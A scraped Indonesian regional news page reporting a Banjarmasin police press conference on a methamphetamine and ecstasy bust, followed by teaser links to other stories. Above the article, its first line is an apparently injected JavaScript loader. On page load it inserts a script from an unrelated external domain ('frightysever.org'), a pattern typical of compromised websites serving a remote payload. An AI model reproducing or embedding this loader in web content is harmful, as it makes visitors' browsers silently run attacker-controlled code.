(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Polresta Banjarmasin gelar konferensi pers pengungkapan kasus penyalahgunaan narkotika jenis sabu dan pil ineks, di ruang Satuan Narkoba Polresta Banjarmasin, Selasa (24/4).
Kapolresta Banjarmasin Kombes Pol Drs.Sumarto MSi didampingi Kasat Narkoba Polresta Banjarmasin Kompol Herry Purwanto SH SIK menghadirkan 4 tersangka pemilik 223,99 gram sabu dan 298 butir ineks.
Pengungkapan kasus narkoba ini sebagai bentuk keseriusan Polresta Banjarmasin dalam memberantas peredaran barang haram di wilayah hukum Polda Kalimantan Selatan.
Kapolresta Banjarmasin Kombes Pol Drs Sumarto MSi menghimbau kepada masyarakat untuk jangan takut memberikan informasi kepada kepolisian, karena pihaknya akan melindungi, menjaga dan menjamin keselamatan masyarakat yang memberikan informasi kepada kepolisian.
“Diharapkan ini dapat menjadi peringatan kepada pelaku dan pengguna narkoba lain untuk segera berhenti, karena Polresta Banjarmasin Polda Kalimantan Selatan akan menindak tegas segala bentuk peredaran narkoba yang telah ditetapkan sebagai musuh negara,†tegas Kapolresta Banjarmasin. (ammar)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.